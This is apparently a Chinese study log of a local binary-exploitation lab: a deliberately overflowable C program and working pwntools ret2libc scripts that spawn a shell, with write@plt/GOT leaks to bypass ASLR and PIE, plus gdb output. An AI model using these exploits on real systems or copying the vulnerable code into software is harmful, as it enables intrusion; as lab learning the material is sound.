漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 void vuln_func() { char buf[128 ]; read(STDIN_FILENO, buf, 256 ); } int main(int argc, char *argv[]) { vuln_func(); write(STDOUT_FILENO, "Hello world!\n" , 13 ); }
开启NX,未开启ALSR和PIE echo 0 > /proc/sys/kernel/randomize_va_space // 关闭alsr
gcc -m32 -fno-stack-protector -z noexecstack dep.c
编译得到a.out
根据源代码可以知道,这是一个很明显有缓冲区溢出漏洞,定义的数组是128,但读入了256.
修改libc为2.23
patchelf –set-interpreter /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-linux.so.2 ./a.out patchelf –set-rpath /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ ./a.out
确定缓冲区大小 输入一点字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 gef➤ telescope 0xffffd520 │+0x0000 : 0x00000000 ← $esp0xffffd524 │+0x0004 : 0xffffd530 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n" 0xffffd528 │+0x0008 : 0x00000100 0xffffd52c │+0x000c : 0x5655555c → <vuln_func+15 > add eax, 0x1a78 0xffffd530 │+0x0010 : "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n" 0xffffd534 │+0x0014 : "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n" 0xffffd538 │+0x0018 : "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n" 0xffffd53c │+0x001c : "aaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n" 0xffffd540 │+0x0020 : "aaaaaaaaaaaaaaaaaaaaaaaabbbb\n" 0xffffd544 │+0x0024 : "aaaaaaaaaaaaaaaaaaaabbbb\n" gef➤ 0xffffd548 │+0x0028 : "aaaaaaaaaaaaaaaabbbb\n" 0xffffd54c │+0x002c : "aaaaaaaaaaaabbbb\n" 0xffffd550 │+0x0030 : "aaaaaaaabbbb\n" 0xffffd554 │+0x0034 : "aaaabbbb\n" 0xffffd558 │+0x0038 : "bbbb\n" 0xffffd55c │+0x003c : 0x00000a ("\n" ?)0xffffd560 │+0x0040 : 0x00000000 0xffffd564 │+0x0044 : 0x2c307d ("}0," ?)0xffffd568 │+0x0048 : 0x00000001 0xffffd56c │+0x004c : 0xf7ffc900 → 0x00000000 gef➤ 0xffffd570 │+0x0050 : 0xffffd5c0 → 0xffffd5e0 → 0x00000001 0xffffd574 │+0x0054 : 0x00000000 0xffffd578 │+0x0058 : 0x01000000 0xffffd57c │+0x005c : 0xc3442600 0xffffd580 │+0x0060 : 0x000009 ("\t" ?)0xffffd584 │+0x0064 : 0xffffd7ba → "/home/ubuntu/pwn/a.out" 0xffffd588 │+0x0068 : 0xf7e15679 → <__new_exitfn+9 > add ebx, 0x1a7987 0xffffd58c │+0x006c : 0xf7fc0808 → 0x00000000 0xffffd590 │+0x0070 : 0xf7fbd000 → 0x001d7d8c 0xffffd594 │+0x0074 : 0xf7fbd000 → 0x001d7d8c gef➤ 0xffffd598 │+0x0078 : 0x00000000 0xffffd59c │+0x007c : 0xf7e157db → <__internal_atexit+59 > add esp, 0x10 0xffffd5a0 │+0x0080 : 0xf7fbd3fc → 0xf7fbe200 → 0x00000000 0xffffd5a4 │+0x0084 : 0x56556fd4 → <_GLOBAL_OFFSET_TABLE_+0 > fcomp QWORD PTR [esi]0xffffd5a8 │+0x0088 : 0xffffd67c → 0xffffd7d1 → "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]" 0xffffd5ac │+0x008c : 0x5655561b → <__libc_csu_init+75 > add edi, 0x1 0xffffd5b0 │+0x0090 : 0x00000001 0xffffd5b4 │+0x0094 : 0x56556fd4 → <_GLOBAL_OFFSET_TABLE_+0 > fcomp QWORD PTR [esi]0xffffd5b8 │+0x0098 : 0xffffd5c8 → 0x00000000 ← $ebp
0xffffd5b8 - 0xffffd520 = 152
为什么出不来书上的效果…pattern create 150那个
为什么书上的和自己运行的不一样? 哪里有区别?
因为减错了,应该0xffffd5b8 - 0xffffd530 = 136才对,再+4, 140覆盖掉ebp,然后下面的就是eip了
通过gef自带的命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 gef➤ pattern create 150 [+] Generating a pattern of 150 bytes (n=4 ) aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma [+] Saved as '$_gef0' gef➤ r Starting program: /home/ubuntu/pwn/a.out [*] Failed to find objfile or not a valid file format : [Errno 2 ] No such file or directory: 'system-supplied DSO at 0xf7fd8000' aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma Program received signal SIGSEGV, Segmentation fault. 0x6261616b in ?? ()gef➤ pattern offset 0x6261616b [+] Searching for '0x6261616b' [+] Found at offset 140 (little-endian search) likely [+] Found at offset 1004 (big-endian search)
构造exp 整理思路就是返回地址设置为 system,然后给一个参数/bin/sh就好了
问题就是寻找它俩的地址,关闭ALSR的情况下,libc的地址是固定的,可以在调试中确认system和/bin/sh的地址
1 2 3 4 5 6 gef➤ p system $1 = {int (const char *)} 0xf7e57db0 <__libc_system> gef➤ search-pattern "/bin/sh" [+] Searching '/bin/sh' in memory [+] In '/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so' (0xf7e1d000 -0xf7fcd000 ), permission=r-x 0xf7f78b2b - 0xf7f78b32 → "/bin/sh"
给的exp同样会有问题(注意 system和/bin/sh地址要根据实际情况修改,修改了也不行
[*] Got EOF while sending in interactive
默认开启了其他保护?????? gcc的问题???
1 2 3 4 5 6 7 8 root@VM-24 -10 -ubuntu:/home/ubuntu/pwn [+] Starting local process './a.out' : pid 5096 [*] '/home/ubuntu/pwn/a.out' Arch: i386-32 -little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
gcc -m32 -fno-stack-protector -z noexecstack -z norelro dep.c -fno-pie -no-pie -o a.out
全关了也不行啊
libc的保护为什么不影响呢??
1 2 3 4 5 6 gef➤ p system $2 = {int (const char *)} 0xf7e223d0 <__libc_system> gef➤ search-pattern "/bin/sh" [+] Searching '/bin/sh' in memory [+] In '/lib/i386-linux-gnu/libc-2.27.so' (0xf7de5000 -0xf7fba000 ), permission=r-x 0xf7f631db - 0xf7f631e2 → "/bin/sh"
调试一下,这种如何调试呢??????
0xf7e57db0
0xf7f78b2b
不知道为什么,重新编译了一遍就好了….太奇怪了
如何动态获取这俩地址呢? system_addr = libc.sym[‘system’] 这样是不行的,这个获取的是在libc里面的偏移,需要获取libc的加载地址
需要基地址,基地址怎么获取呢? 如果没开启ALSR和PIE的话,可以通过调试获取,pwntools里不能直接获取吗?
1 2 3 4 5 6 7 8 gef➤ vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x8047000 0x8048000 0x000000 rw- /home/ubuntu/pwn/a.out0x8048000 0x8049000 0x001000 r-x /home/ubuntu/pwn/a.out0x8049000 0x804a000 0x001000 rw- /home/ubuntu/pwn/a.out0xf7e1c000 0xf7e1d000 0x000000 rw-0xf7e1d000 0xf7fcd000 0x000000 r-x /home/ubuntu/glibc-all -in -one/libs/2.23 -0ubuntu11.3 _i386/libc-2.23 .so
0xf7e1d000 + 0x3adb0 = 0xf7e57db0 这样就对上了
system_addr = 0xf7e1d000 + libc.sym[‘system’] 就可以得到system的地址了
但是 binsh_addr = 0xf7e1d000 + libc.search(b’/bin/sh’) 这个不会,会报错
oooooo需要加一个next
binsh_addr = 0xf7e1d000 + next(libc.search(b’/bin/sh’))
最后exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *log_level = "debug" io = process('./a.out' ) libc = ELF("/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so" ) ret = 0xdeadbeef system_addr = 0xf7e1d000 + libc.sym['system' ] binsh_addr = 0xf7e1d000 + next (libc.search(b'/bin/sh' )) payload = b"A" * 140 + p32(system_addr) + p32(ret) + p32(binsh_addr) io.send(payload) io.interactive()
在此基础之上,开启ALSR echo 2 > /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -z noexecstack -no-pie dep.c -o nopie.out
echo 2 > /proc/sys/kernel/randomize_va_space
cp ../glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6 ./
ASLR改变的是堆、栈、共享库(libc等)的位置,程序本身的地址是不变的,也就是vuln_func,main等这些地址.
构造exp 那为啥exp中的write也是不变的呢??????因为这个write是plt中的write,不是libc中的,所以和延迟绑定有关?
0x8048320是write的地址,它是plt表的地址,所以,什么是plt表呢?
1 2 3 .plt:08048320 _write proc near ; CODE XREF: main+2D↓p .plt:08048320 jmp ds:off_804A014 .plt:08048320 _write endp
关于plt表 https://blog.csdn.net/qq_38350702/article/details/123387642
所以说应该是plt表地址我们是知道的,但是got不知道,通过plt泄露got,进而得到system的got
因为system不在plt里,无法直接用system的plt
思路就是先用write泄露write在内存中的位置,然后利用write在libc中和system的偏移,进行计算system和/bin/sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *io = process('./nopie.out' ) elf = ELF('./nopie.out' ) libc = ELF('./libc.so.6' ) vuln_func = 0x0804843b //vuln_func payload1 = b"A" * 140 + p32(elf.sym['write' ]) + p32(vuln_func) + p32(1 ) + p32(elf.got['write' ]) + p32(4 ) io.send(payload1) write_addr = u32(io.recv(4 )) system_addr = write_addr - libc.sym['write' ] + libc.sym['system' ] binsh_addr = write_addr - libc.sym['write' ] + next (libc.search(b'/bin/sh' )) payload2 = b"B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr) io.send(payload2) io.interactive()
书里给的有问题,总感觉少了什么条件,exp跑不通
[] Switching to int eractive mode [ ] Got EOF while reading in interactive
为什么第一个exp不行,这个链接里的就可以??,进行分析
https://blog.csdn.net/weixin_44644249/article/details/113620457
首先先把payload进行输出
payload1和2
b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \x83\x04\x08;\x84\x04\x08\x01\x00\x00\x00\x14\xa0\x04\x08\x04\x00\x00\x00’ b’BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\xb0\xdd\xd8\xf7;\x84\x04\x08+\xeb\xea\xf7’
然后再看成功的
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaajunk \x04V\x04\x00\x00 \x04\x04\x00 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaajunk°à÷junk+»ò÷
所以应该是编码问题?? 或者是作者用的python2?? 是python2和3的问题??
只能说自己太蠢了,(也想吐槽作者写的不好,不该写死的东西干嘛要写死,自己又没给二进制文件)
当然更重要的是,不能照抄别人的,要对exp的每一行的含义都了如指掌才可以!!!
作者在exp中给的 vuln_func的地址是写死的,但事实上自己编译的话肯定会有不同,所以需要根据实际情况修改, 或者直接动态获取,不要写死!!!
0x080484a5 <+26>: e8 ac ff ff ff call 0x8048456
exp修改的部分为vuln_func = elf.sym[“vuln_func”]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *io = process('./nopie.out' ) elf = ELF('./nopie.out' ) libc = ELF('./libc.so.6' ) vuln_func = elf.sym["vuln_func" ] payload1 = b"A" * 140 + p32(elf.sym['write' ]) + p32(vuln_func) + p32(1 ) + p32(elf.got['write' ]) + p32(4 ) io.send(payload1) write_addr = u32(io.recv(4 )) system_addr = write_addr - libc.sym['write' ] + libc.sym['system' ] binsh_addr = write_addr - libc.sym['write' ] + next (libc.search(b'/bin/sh' )) payload2 = b"B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr) io.send(payload2) io.interactive()
在此基础之上,开启PIE 开启了pie后,程序的加载地址就不是固定的0x8048000了,所以直接用elf.sym[“vuln_func”] 是不行的,需要知道是从哪里开始加载的了
gcc -m32 -fno-stack-protector -z noexecstack -pie -fno-pie dep.c -o pie.out
patchelf –set-interpreter /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-linux.so.2 ./pie.out patchelf –set-rpath /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ ./pie.out
1 2 3 4 加载的时候,每次地址就不一样了 0x565555a3 <main+17 > call 0x5655556d <vuln_func>0x5655556d <vuln_func>: 0x81e58955
结果..加载的地址每次还是一样的,经过排查是gdb的问题
为什么gdb调试的时候,它的main的地址是不变的??? 运行的时候就是变的了???? https://blog.csdn.net/weixin_43350880/article/details/98869099
因为gdb是默认关闭aslr的,通过在gdb中输入命令aslr on开启,然后每次加载的地址就不一样了
1 2 3 4 5 6 7 8 9 10 11 0x56630000 0x56631000 0x000000 r-x /home/ubuntu/pwn/pie.out0x56631000 0x56632000 0x000000 r-- /home/ubuntu/pwn/pie.out0x56632000 0x56633000 0x001000 rw- /home/ubuntu/pwn/pie.out0x56613000 0x56614000 0x000000 r-x /home/ubuntu/pwn/pie.out0x56614000 0x56615000 0x000000 r-- /home/ubuntu/pwn/pie.out0x56615000 0x56616000 0x001000 rw- /home/ubuntu/pwn/pie.out0x565f3000 0x565f4000 0x000000 r-x /home/ubuntu/pwn/pie.out0x565f4000 0x565f5000 0x000000 r-- /home/ubuntu/pwn/pie.out0x565f5000 0x565f6000 0x001000 rw- /home/ubuntu/pwn/pie.out
这样的话,elf.sym[“vuln_func”] 就不能用了,因为有一块随机加载的偏移,需要想办法泄露
假设我们已经泄露了
(在dep.c中加入 printf(“main addr: %p”,&main); 但是捏,这个有问题,问题就是哪怕你把它加在了前面,它也是后输出的,这是为什么呢,我们假设的应该是先得到这个地址,然后给vuln_func发送payload
1 2 3 4 5 6 7 8 int main(int argc, char *argv[]) { printf("main addr: %p" ,&main); vuln_func(); write(STDOUT_FILENO, "Hello world!\n" , 13 ); } Hello world! main addr: 0x5658c5d2
write 这个应该是和缓冲区什么的有关
https://oomake.com/question/2542933
printf带缓冲区,所以要等缓冲区满或者遇到换行符才会输出,write不带缓冲区,直接就输出了
加一个换行符就可以了
printf(“main addr: %p\n”,&main);
exp 这里假设了会泄漏main的地址,我们加一行代码就直接打印出来了,
printf(“%p\n”,&main);
然后接收main的地址,其他的思路就差不多了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *io = process('./pie.out' ) elf = ELF('./pie.out' ) libc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so' ) main_addr = int (io.recvline(), 16 ) base_addr = main_addr - elf.sym['main' ] vuln_func = base_addr + elf.sym['vuln_func' ] plt_write = base_addr + elf.sym['write' ] got_write = base_addr + elf.got['write' ] ebx = base_addr + 0x2000 payload1 = "A" *132 + p32(ebx) + "AAAA" + p32(plt_write) + p32(vuln_func) + p32(1 ) + p32(got_write) + p32(4 ) io.send(payload1) write_addr = u32(io.recv()) system_addr = write_addr - libc.sym['write' ] + libc.sym['system' ] binsh_addr = write_addr - libc.sym['write' ] + next (libc.search('/bin/sh' )) payload2 = "B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr) io.send(payload2) io.interactive()
如果printf有其他字母呢,怎么接收?